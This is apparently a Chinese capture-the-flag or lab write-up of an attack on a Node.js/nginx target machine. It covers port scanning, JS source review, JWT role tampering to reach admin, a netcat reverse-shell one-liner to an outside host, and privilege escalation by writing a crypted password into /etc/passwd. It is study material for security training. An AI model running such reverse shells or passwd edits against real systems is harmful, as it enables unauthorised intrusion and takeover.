文章目录
测试流程
一,信息收集
(1)nmap扫描端口
发现主机,上nmap神器
【思路】
1. 针对80端口的http服务,探测有无危险方法(put,delete)
2. 针对nginx中间件的版本探测漏洞
用nmap探测http有无危险方法访问
nmap --script http-methods --script-args http-methods.url-path="/" 192.168.44.140
思路1
思路2
- 没有利用点
(2)目录扫描查看
二,漏洞发现
(1)访问查看页面有什么功能,根据功能测试有无漏洞
【思路】
一,登录功能的常见漏洞
1、账号密码能否爆破
2、登录权限是否能绕过
3、登录账号能否被枚举
4、登录账号是否存在弱口令
5、是否存在COOKIE/TOKEN未失效(无过期时间)
6、账号密是否存在xss
7、账号密码是否明文传输或加密传输
8、账号密码或验证码是否存在sql注入漏洞
针对登录功能的测试
1.注入
.
2.XSS
爆出路径
查看注册功能
想到了功能由js脚本处理,审查元素看看
感觉有点东西,接下来搞下来,查看源码。
(2)对js文件源码分析思路
【审查js文件的 思路】
1. 找危险函数
2. 找交互点
3. 反推数据包的格式
4. 找关键词 (eg: admin / user / get......)
5. 若有发包操作,找字段名,
1.下载下来的文件往往看起来很乱,先美化一波
使用notepad++的jstool美化
也可以用浏览器的调试器美化
.
2.查找危险函数和搜索信息
因为是注册功能,必然存在交互点。尝试找user
猜测是判断是否为管理员的功能函数,
http.post
判断为post传输数据.
3.查找注册功能的代码
.
4. 假设为post传参,搜索post
【POC】
1. 根据JS文件,访问/users/register为登录功能。抓包
.
2.修改type为json,构造注册用户的json。发包测试
.
3. 登录验证
成功注册,发现了注册功能。对注册功能测试
(3)对发现的注册功能测试
【对注册功能的测试思路】
1、是否存在短信炸弹漏洞
2、是否存在xss漏洞(有输入操作)
3、是否存在sql注入漏洞
4、短信验证码是否能被绕过
5、是否存在用户名二次注册漏洞
6、是否存在任意账号注册
7、是否存在用户名枚举漏洞
8、是否存在用户恶意注册漏洞
9、是否存在邮箱炸弹漏洞
-----------------------------------------------------------------------------
由于发现的功能点通过发包实现。而且加上在js文件发现了有很象管理员认证的函数功能
--> 尝试能否注册一个管理员用户
(4)结合发现的注册功能点,测试登录是否存在水平和垂直越权
测试水平越权
先注册另一个账号,然后尝试在登录abc
用户的状态下水平越到1
用户
存在水平越权 和 用户名枚举漏洞
用注册的用户登录抓包查看
看到了JWT
去解码先
修改auth_level为master_admin_user
三,漏洞利用
(1)尝试利用登录漏洞垂直越权到admin
【利用方法】
1. 由于是前端的JS文件认证,拦截服务器发给前端的包
2. 修改JWT,和auth_level 字段值。
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Mon, 07 Oct 2019 13:38:53 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 361
Connection: close
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"169-Q80c/7fI8LZR/UkDvwKQRF/2nNE"
{"success":true,"token":"JWT eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwYXlsb2FkIjp7Im5hbWUiOiIxIiwiZW1haWwiOiIxQHRlc3QuY29tIiwidXNlcm5hbWUiOiIxIiwiYXV0aF9sZXZlbCI6InN0YW5kYXJkX3VzZXIifSwiaWF0IjoxNTcwNDUzMjY3LCJleHAiOjE1NzEwNTgwNjd9.ecpgbdBX5_YMg9FtWInT-WjJTpwZSd4WDGtDmF9vQ7I","user":{"name":"1","username":"1","email":"[email protected]","auth_level":"master_admin_user"}}
查看admin功能
发包查看
好像没什么用啊,思路断了。
(2)溢出漏洞爆出绝对路径及利用思路
想看看是否存在缓存区溢出漏洞的存在
【 获取绝对路径后的利用思路】
1. 显示出 (.git)或者是 (.svn/enteiti)文件
--> 可以使用githack,SvnHack工具尝试能否得到源码
2. 直接在github上搜索查看能否得到 项目的源码,
--> 然后做代码审计
直接去github搜
还真有!
【找到开源的项目地址如何进一步锁定源代码】
- 1.首先请求的是
/users/linkauthenticate
,直接搜索查看有无相关内容
.
- 2.根据response包中的固定内容确定源码文件
{"success":false,"msg":"Wrong password"}
.
- 3.猜测是users.js为处理文件,审计代码发现有无利用点
(3)命令执行漏洞的利用
尝试反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1|nc 192.168.44.128 9090 >/tmp/f
四,提权
sudo -l
需要输入密码
find / -perm -u=s -type f 2>/dev/null -exec ls -l{} \;
没有结果
find / -perm -o=w -type f 2>/dev/null | grep -v "/proc/"
结合脏牛提权的原理,直接修改,在密码占位符处写入经过加密处理的密码
1. 用perl生产加密密码
其中,pass为加密的密码;aa表示使用的加密盐(可以有aa,sa,Fx等),如果不使用加密盐,那么输出的字符串将不是crypt加密格式,而是MD5加密格式的。所以,加密盐其实是必须的参数
.
2.写入passwd文件
.
3.查看用户
.
4. 尝试切换用户
…
? 通过靶机学习到的知识
(1)node.js
node:Node 是一个让 JavaScript 运行在服务端的开发平台,它让 JavaScript 成为与PHP、Python、Perl、Ruby 等服务端语言平起平坐的脚本语言。发布于2009年5月,实质是对Chrome V8引擎进行了封装.
.node.js:Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。 Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型。
【自己的理解】
有些站点使用了前端的JavaScript进行功能操作,
?如何发现
审查元素,存在大量的js为文件,访问查看是否有功能函数